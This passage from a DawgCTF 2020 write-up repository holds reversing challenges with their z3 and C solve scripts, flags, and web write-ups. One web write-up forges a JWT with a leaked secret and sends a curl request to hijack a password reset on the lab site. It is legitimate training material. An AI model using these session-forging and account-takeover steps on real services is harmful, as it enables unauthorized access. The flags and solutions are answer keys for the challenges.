68 | if o(key[3]) != a(o(key[1])%30 + o(key[2])%30) + 5: 69 | return False 70 | 71 | if o(key[2]) != a(indexes(email, "*") + 7): 72 | return False 73 | 74 | if o(key[4]) != a(sum(o(i) for i in email)%60 + o(key[5])): 75 | return False 76 | 77 | if o(key[5]) != a(o(key[3]) + 52): 78 | return False 79 | 80 | if o(key[6]) != a((o(key[7])%8)*2): 81 | return False 82 | 83 | if o(key[7]) != a(o(key[1]) + o(key[2]) - o(key[3])): 84 | return False 85 | 86 | if o(key[8]) != a((o(key[6])%16) / 2): 87 | return False 88 | 89 | if o(key[9]) != a(o(key[6]) + o(key[4]) + o(key[8]) - 4): 90 | return False 91 | 92 | if o(key[10]) != a((o(key[1])%2) * 8 + o(key[2]) % 3 + o(key[3]) % 4): 93 | return False 94 | 95 | if not m(email[3], key[11], key[12], 8): 96 | return False 97 | if not m(email[7], key[13], key[4], 18): 98 | return False 99 | if not m(email[9], key[14], key[3], 23): 100 | return False 101 | if not m(email[10], key[15], key[10], 3): 102 | return False 103 | if not m(email[11], key[13], key[16], 792): 104 | return False 105 | if not m(email[12], key[17], key[4], email.count("d")): 106 | return False 107 | if not m(email[13], key[18], key[7], email.count("a")): 108 | return False 109 | if not m(email[14], key[19], key[8], email.count("w")): 110 | return False 111 | if not m(email[15], key[20], key[1], email.count("g")): 112 | return False 113 | if not m(email[16], email[17], key[21], email.count("s")): 114 | return False 115 | if not m(email[18], email[19], key[22], email.count("m")): 116 | return False 117 | if not m(email[20], key[23], key[17], 9): 118 | return False 119 | if not m(email[21], key[24], key[13], 41): 120 | return False 121 | if not m(email[22], key[25], key[10], 3): 122 | return False 123 | if not m(email[23], key[26], email[14], email.count("1")): 124 | return False 125 | if not m(email[24], email[25], key[27], email.count("*")): 126 | return False 127 | if not m(email[26], email[27], key[28], 7): 128 | return False 129 | if not m(email[28], email[29], key[29], 2): 130 | return False 131 | if not m(email[30], key[30], email[18], 4): 132 | return False 133 | if not m(email[31], key[31], email[4], 7): 134 | return False 135 | 136 | return True 137 | 138 | 139 | def main(): 140 | print("Welcome to Flag Generator 5000") 141 | print() 142 | print("Improving the speed quality of CTF solves since 2020") 143 | print() 144 | print("You'll need to have your email address and registration key ready.") 145 | print("Please note the support hotline is closed for COVID-19 and will be") 146 | print("unavailable until further notice.") 147 | print() 148 | 149 | email = input("Please enter your email address: ") 150 | key = input("Please enter your key: ") 151 | 152 | if validate(email, key): 153 | print_flag() 154 | else: 155 | print("License not valid. Please contact support.") 156 | 157 | main() 158 | -------------------------------------------------------------------------------- /reversing/potentially-eazzzy/solve-potentially-eazzzy.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | solve-potentially-eazzzy.py 4 | Author: chainsaw10 5 | 6 | This is the script I used to develop the challenge. It's not pretty, nor is it 7 | best practices for Python. 8 | 9 | It does, however, show the intended solve of using z3. 10 | 11 | More specifically, intended solve was: 12 | 1. Notice it's a crackme with lots of constraints 13 | 2. Wish I had written this in C so you could use angr (that's why I didn't) 14 | 3. Dust off your copy of pyz3 15 | 4. Define the constraints from the provided code in z3 16 | a. (You could copy-paste the "m" function and make it manufacture 17 | constraints with a bit of work, that could save time, idk if anyone 18 | did.) 19 | 5. Give z3 an email address. 20 | 6. Ask z3 to solve for key 21 | 7. ??? 22 | 8. Profit! 23 | 24 | This was what I had, there are almost certainly easier ways of doing it. 25 | """ 26 | 27 | import functools 28 | import itertools 29 | 30 | import z3 31 | 32 | 33 | # Define our allowed alphabet for things 34 | ALPHABET = [chr(i) for i in range(ord("*"), ord("z")+1)] 35 | 36 | 37 | class Z3String: 38 | """z3 doesn't have a native string type, so I made a lame one here 39 | 40 | I'm told there are better ones out there, but I wanted to just whip one up 41 | """ 42 | def __init__(self, name, length): 43 | self.bitvecs = [ z3.Int("%s_%d" % (name, i)) for i in range(length) ] 44 | 45 | def __getitem__(self, key): 46 | """This makes key[index] work""" 47 | return self.bitvecs[key] 48 | 49 | def add_equal_to(self, s, realstr): 50 | if len(realstr) != len(self.bitvecs): 51 | raise Exception("lengths must be the same for add_equal_to") 52 | for i, j in zip(self.bitvecs, realstr): 53 | s.add(i == ord(j)) 54 | 55 | def add_equal_to_padded(self, s, padchar, realstr): 56 | realstr = realstr.ljust(len(self.bitvecs), padchar) 57 | if len(realstr) != len(self.bitvecs): 58 | raise Exception("lengths must be the same for add_equal_to") 59 | for i, j in zip(self.bitvecs, realstr): 60 | s.add(i == ord(j)) 61 | 62 | def expr_count_of(self, char): 63 | """Counts char in string, returns expression. 64 | 65 | Returns a z3 expression representing the number of times char appears in 66 | the string. 67 | """ 68 | return (z3.Sum([ z3.If(bv == ord(char), 1, 0) for bv in self.bitvecs ])) 69 | 70 | def resolve_from_model(self, model): 71 | resolved = "" 72 | for bv in self.bitvecs: 73 | interp = model.get_interp(bv) 74 | if interp is not None and interp.as_long() != 0: 75 | resolved += chr(interp.as_long()) 76 | else: 77 | resolved += "<%s>" % (bv) 78 | 79 | return resolved 80 | 81 | def __iter__(self): 82 | """This makes for char in key work""" 83 | return self.bitvecs.__iter__() 84 | 85 | def __len__(self): 86 | """Makes len(email) work 87 | 88 | Not sure I actually used this anywhere. 89 | """ 90 | return len(self.bitvecs) 91 | 92 | def index(self, char): 93 | """This doesn't actually do what the name suggests it does, oops""" 94 | return (z3.Sum([ 95 | z3.If(bv == ord(char), idx, 0) for idx, bv in 96 | enumerate(self.bitvecs)])) 97 | 98 | def sum(self): 99 | return z3.Sum(self.bitvecs) 100 | 101 | 102 | def alpha(num): 103 | """Make a value that's within ALPHABET from provided num""" 104 | return ord(ALPHABET[0]) + (num % len(ALPHABET)) 105 | 106 | 107 | def combine(s, emailchar, key1, key2, value): 108 | """Make a constraint that is based on the provided values""" 109 | mod = len(ALPHABET)//2 110 | start = ord(ALPHABET[0]) 111 | s1, s2, s3 = emailchar - start, key1 - start, key2 - start 112 | s.add((s1 + s2 + s3) % mod == value%mod) 113 | 114 | 115 | def validate_reg_key(s, email, regkey): 116 | """Add constraints for email and regkey 117 | 118 | s here is the z3 Solver object. You add constraints to the solver, then ask 119 | it to... well... solve. 120 | """ 121 | # make sure it's printable, and in a sane range 122 | for bv in itertools.chain(email, regkey): 123 | s.add(bv >= ord(ALPHABET[0])) 124 | s.add(bv <= ord(ALPHABET[-1])) 125 | 126 | # There's got to be an at-sign, of course 127 | s.add(email.expr_count_of("@") == 1) 128 | 129 | # regkey must start with "Z" 130 | s.add(regkey[0] == ord("Z")) 131 | 132 | # fun with dots 133 | dotcount = email.expr_count_of(".") 134 | s.add(dotcount >= 0) 135 | s.add(dotcount < len(ALPHABET)) 136 | s.add(regkey[1] == alpha(dotcount)) 137 | 138 | # length 139 | s.add(regkey[2] == alpha(email.index("*") + 7)) 140 | 141 | # Eh, let's make 3 based on 1 and 2 142 | s.add(regkey[3] == alpha(regkey[1]%30 + regkey[2]%30) + 5) 143 | 144 | # Summing the email seems fun 145 | s.add(regkey[4] == alpha(email.sum()%60 + regkey[5])) 146 | 147 | # Eh, waste some bytes 148 | s.add(regkey[5] == alpha(regkey[3] + 52)) 149 | s.add(regkey[6] == alpha( (regkey[7] % 8) * 2) ) 150 | s.add(regkey[7] == alpha(regkey[1] + regkey[2] - regkey[3])) 151 | s.add(regkey[8] == alpha( (regkey[6] % 16) / 2) ) 152 | 153 | s.add(regkey[9] == alpha(regkey[6] + regkey[4] + regkey[8] - 4)) 154 | 155 | s.add(regkey[10] == alpha(z3.Sum([ 156 | (regkey[1] % 2) * 8, 157 | regkey[2] % 3, 158 | regkey[3] % 4, 159 | ]))) 160 | 161 | # Here's where I got bored of making up new conditions 162 | combine(s, email[3], regkey[11], regkey[12], 8) 163 | combine(s, email[7], regkey[13], regkey[4], 18) 164 | combine(s, email[9], regkey[14], regkey[3], 23) 165 | combine(s, email[10], regkey[15], regkey[10], 3) 166 | combine(s, email[11], regkey[13], regkey[16], 792) 167 | combine(s, email[12], regkey[17], regkey[4], email.expr_count_of("d")) 168 | combine(s, email[13], regkey[18], regkey[7], email.expr_count_of("a")) 169 | combine(s, email[14], regkey[19], regkey[8], email.expr_count_of("w")) 170 | combine(s, email[15], regkey[20], regkey[1], email.expr_count_of("g")) 171 | combine(s, email[16], email[17], regkey[21], email.expr_count_of("s")) 172 | combine(s, email[18], email[19], regkey[22], email.expr_count_of("m")) 173 | combine(s, email[20], regkey[23], regkey[17], 9) 174 | combine(s, email[21], regkey[24], regkey[13], 41) 175 | combine(s, email[22], regkey[25], regkey[10], 3) 176 | combine(s, email[23], regkey[26], email[14], email.expr_count_of("1")) 177 | combine(s, email[24], email[25], regkey[27], email.expr_count_of("*")) 178 | combine(s, email[26], email[27], regkey[28], 7) 179 | combine(s, email[28], email[29], regkey[29], 2) 180 | combine(s, email[30], regkey[30], email[18], 4) 181 | combine(s, email[31], regkey[31], email[4], 7) 182 | 183 | 184 | def check(email_in): 185 | s = z3.Solver() 186 | 187 | # So the flow here is we make a symbolic value for email and regkey 188 | # Then we're going to define constraints on those values and let z3 find a 189 | # valid key 190 | email = Z3String("email", 32) # We'll pad out to 32 chars if not I guess 191 | regkey = Z3String("regkey", 32) # 32 bytes seems enough 192 | 193 | # Here's where we set the email we want a key for 194 | email.add_equal_to_padded(s, "*", email_in) 195 | 196 | # Now we add the constraints 197 | validate_reg_key(s, email, regkey) 198 | 199 | #print(s.sexpr()) 200 | 201 | # Ask z3 if the constraints are satisfiable 202 | chk = s.check() 203 | print(chk) 204 | if chk != z3.sat: 205 | return 206 | # If the constraints were satisfiable, ask z3 to find concrete values that 207 | # satisfy them 208 | m = s.model() 209 | #print(m) 210 | # Now print them out nicely to go paste into the challenge 211 | print("email:", email.resolve_from_model(m).strip("*")) 212 | print("regkey:", regkey.resolve_from_model(m)) 213 | 214 | 215 | def main(): 216 | print("Alphabet length is:", hex(len(ALPHABET)), len(ALPHABET)) 217 | 218 | check("lol@helloworldthere.com.net.org") 219 | check("info@umbccd.io") 220 | check("a@a") 221 | 222 | 223 | if __name__ == "__main__": 224 | main() 225 | -------------------------------------------------------------------------------- /reversing/putyathangdown/README.md: -------------------------------------------------------------------------------- 1 | # Put ya thang down flip it and reverse it - rev 150 2 | # Authors: trashcanna @annatea16 and pleoxconfusa 3 | 4 | missyelliott - binary, distributed\ 5 | missyelliott.c - source, not distributed\ 6 | sol - solution, not distributed\ 7 | sol.c - solution, not distributed\ 8 | -------------------------------------------------------------------------------- /reversing/putyathangdown/missyelliott: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/putyathangdown/missyelliott -------------------------------------------------------------------------------- /reversing/putyathangdown/missyelliott.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char* flag = "\x41\xf5\x51\xd1\x4d\x61\xd5\xe9\x69\x89\x19\xdd\x9\x11\x89\xcb\x9d\xc9\x69\xf1\x6d\xd1\x7d\x89\xd9\xb5\x59\x91\x59\xb1\x31\x59\x6d\xd1\x8b\x21\x9d\xd5\x3d\x19\x11\x79\xdd"; 6 | char guess[44]; 7 | 8 | void print_failed(){ 9 | printf("Wrong. You need to work it.\n"); 10 | } 11 | 12 | void print_success(){ 13 | printf("You did it! Was it worth it?\n"); 14 | } 15 | 16 | void check_it(){ 17 | if(!strncmp(guess, flag, 44)){ 18 | print_success(); 19 | }else{ 20 | print_failed(); 21 | } 22 | } 23 | 24 | void reverse_it(){ 25 | unsigned int bits = sizeof(char) * 8; 26 | char reverse_char = 0; 27 | char c; 28 | char temp; 29 | 30 | for(int k = 0; k < 43; k++){ 31 | c = guess[k]; 32 | for (int i = 0; i < bits; i++){ 33 | temp = (c & (1 << i)); 34 | if(temp){ 35 | reverse_char |= (1 << ((bits - 1) - i)); 36 | } 37 | } 38 | guess[k] = reverse_char; 39 | reverse_char = 0; 40 | } 41 | 42 | for(int i = 0; i < 43 / 2; i++){ 43 | temp = guess[i]; 44 | guess[i] = guess[43 - i - 1]; 45 | guess[43 - i - 1] = temp; 46 | } 47 | 48 | } 49 | 50 | void flip_it(){ 51 | for(int i = 0; i < 43; i++){ 52 | guess[i] = guess[i] ^ 0xff; 53 | } 54 | } 55 | 56 | void print_hex(const char *s) 57 | { 58 | while(*s) 59 | printf("\\x%x", *s++ & 0xff); 60 | printf("\n"); 61 | } 62 | 63 | 64 | int main(int argc, char **argv) 65 | { 66 | printf("Let me search ya.\n"); 67 | fgets(guess, 44, stdin); 68 | if(strnlen(guess, 43) != 43){ 69 | print_failed(); 70 | exit(EXIT_FAILURE); 71 | } 72 | flip_it(); 73 | reverse_it(); 74 | check_it(); 75 | return 0; 76 | } 77 | 78 | -------------------------------------------------------------------------------- /reversing/putyathangdown/sol: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/toomanybananas/dawgctf-2020-writeups/7dbc65a62990dc617080b9bb5d1c733a2861f05a/reversing/putyathangdown/sol -------------------------------------------------------------------------------- /reversing/putyathangdown/sol.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | //char guess[] = "DawgCTF{.tIesreveRdnAtIpilF,nwoDgnihTyMtuP}"; 4 | char guess[] = "\x41\xf5\x51\xd1\x4d\x61\xd5\xe9\x69\x89\x19\xdd\x9\x11\x89\xcb\x9d\xc9\x69\xf1\x6d\xd1\x7d\x89\xd9\xb5\x59\x91\x59\xb1\x31\x59\x6d\xd1\x8b\x21\x9d\xd5\x3d\x19\x11\x79\xdd"; 5 | 6 | void reverse_it(){ 7 | unsigned int bits = sizeof(char) * 8; 8 | char reverse_char = 0; 9 | char c; 10 | char temp; 11 | 12 | for(int k = 0; k < 43; k++){ 13 | c = guess[k]; 14 | for (int i = 0; i < bits; i++){ 15 | temp = (c & (1 << i)); 16 | if(temp){ 17 | reverse_char |= (1 << ((bits - 1) - i)); 18 | } 19 | } 20 | guess[k] = reverse_char; 21 | reverse_char = 0; 22 | } 23 | 24 | for(int i = 0; i < 43 / 2; i++){ 25 | temp = guess[i]; 26 | guess[i] = guess[43 - i - 1]; 27 | guess[43 - i - 1] = temp; 28 | } 29 | 30 | } 31 | 32 | void flip_it(){ 33 | for(int i = 0; i < 43; i++){ 34 | guess[i] = guess[i] ^ 0xff; 35 | } 36 | } 37 | 38 | void print_hex(const char *s) 39 | { 40 | while(*s) 41 | printf("\\x%x", *s++ & 0xff); 42 | printf("\n"); 43 | } 44 | 45 | int main(){ 46 | flip_it(); 47 | print_hex(guess); 48 | reverse_it(); 49 | print_hex(guess); 50 | printf("%s", guess); 51 | } 52 | -------------------------------------------------------------------------------- /web-networking/Free WiFi.md: -------------------------------------------------------------------------------- 1 | I will include the original challenge titles alongside the ones we went with. 2 | I think the original challenge titles might've made this easier. 3 | This challenge was based on ways one may have gotten free wifi at aiports. 4 | Namely the way certain wifi companies have been compromised in years past. 5 | The website was designed to be "old." 6 | This means the website does a lot of things in the way things simply aren't done anymore. 7 | This might've been irritating. 8 | I apologize. 9 | I included the pcap to discourage people from brute forcing; additionally, it more closely resembles what you could gather if you were trying to get free wifi somewhere (wireshark in promiscuous mode for example). 10 | 11 | Part 1 - Free Wifi page 12 | ----------------------- 13 | Solution: get access to the page by finding `/staff.html` in the pcap. 14 | 15 | Part 2 - Free Wifi session 16 | -------------------------- 17 | Solution: hijack a session by forging a JWT header. 18 | The JWT was formed using the deprecated "username" and "identity" fields with the usual iat, nbf, and exp tokens. 19 | The username could be found by getting the description of username from the html and the username "true.grit@umbccd.io." 20 | The secret could be found in the PCAP after a successful login (`dawgCTF?heckin#bamboozle`). 21 | The identity was leaked by the form after an attempted login and stored as "JWT 'identity'" in your cookies (`31337`). 22 | 23 | This could be used to generate a JWT like the following, with a non expired iat. 24 | 25 | Create the following header and visit the `/jwtlogin` page found in the pcap. 26 | 27 | `'Authorization: JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRydWUuZ3JpdEB1bWJjY2QuaW8iLCJpZGVudGl0eSI6MzEzMzcsImlhdCI6MTU4NjM1MDAwMCwibmJmIjoxNTg2MzUwMDAwLCJleHAiOjE1ODYzNjAwMDB9.NckkIU75dMdvSDtSUmoAl20NgjXTqWU2Q_cllY0eN9A` 28 | 29 | Part 3 - Free Wifi account 30 | -------------------------- 31 | Solution: get control of an account. 32 | 33 | Looking at the javascript and html of the `/forgotpassword.html` page revealed that there were two fields: `user` and `email`. 34 | If you tried to change these manually, the javascript would change them after submission. 35 | You could change the javascript, but the post request was easier if you could forge or properly duplicated the csrf token by not wasting the one you copy from your browser session before sending the request. 36 | 37 | `curl -X POST localhost/forgotpassword.html -H 'Content-Type: application/json' -H 'Cookie: session=eyJjc3JmX3Rva2VuIjoiNzNiMjYxYTBmZTUzMGQ1ZDE2NTdjMTM2ZTg0MjFmMzBjYmZmOGE4MSJ9.Xo1kXA.lQlki-2qioMO5T2LXWJxyvv8SyE' --data '{"user": "true.grit@umbccd.io", "email": "foo.bar@boo.zaz", "csrf_token": "eyJjc3JmX3Rva2VuIjoiNzNiMjYxYTBmZTUzMGQ1ZDE2NTdjMTM2ZTg0MjFmMzBjYmZmOGE4MSJ9.Xo1kXA.lQlki-2qioMO5T2LXWJxyvv8SyE"}' | less` 38 | 39 | Part 4 - Free Wifi wifikey 40 | -------------------------- 41 | Solution: break the wifikey infrastructure. 42 | 43 | You were notified that the hashing algorithm for wifikey was sha1 by looking at your cookies. 44 | Taking a sha1 hash of any nonce in the pcap and looking at its corresponding login token revealed that the first 8 characters of the sha1 are used to generate the token. 45 | This is similar to how some first evolution two factor physical keys worked; however, their algorithms were proprietary. 46 | If you took the first 8 chars of the hash of the nonce in your browser, you would be able to login and get the flag. 47 | -------------------------------------------------------------------------------- /web-networking/README.md: -------------------------------------------------------------------------------- 1 | The Web/Networking writeups 2 | -------------------------------------------------------------------------------- /web-networking/lady-is-a-smuggler: -------------------------------------------------------------------------------- 1 | # Lady Is a Smuggler 2 | 3 | One of four flags on the same page 4 | 5 | ## Solution 6 | 7 | Inspect the web page, either as page source or via developer tools in a a browser. Do a find for DawgCTF. It's embedded in a URL parameter on an image in the page. 8 | -------------------------------------------------------------------------------- /web-networking/tracking/README.md: -------------------------------------------------------------------------------- 1 | # Tracking 2 | 3 | ## Solution 4 | 5 | 6 | Inspect the HTML elements and recognize a single pixel image that has some odd behaviors 7 | Either copy the javascript from the onclick into the browser console to execute it OR live edit the HTML to change the image size to make it more easily clickable, and click. If you're pragmatically paranoid about executing unknown code, map the integers as Unicode characters either manually or via a script. 8 | 9 | -------------------------------------------------------------------------------- /web-networking/tracking/dawgctf.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |
4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |

13 | America's first female cryptanalyst, she said: "Our office doesn't make 'em, we only break 'em". On this day, let her eat cake! 14 |

15 | 16 | Hwyjpgxwkmgvbxaqgzcsnmaknbjktpxyezcrmlja? 17 | 18 |

19 | GqxkiqvcbwvzmmxhspcsqwxyhqentihuLivnfzaknagxfxnctLcchKCH{CtggsMmie_kteqbx} 20 | 21 | 22 | 23 | --------------------------------------------------------------------------------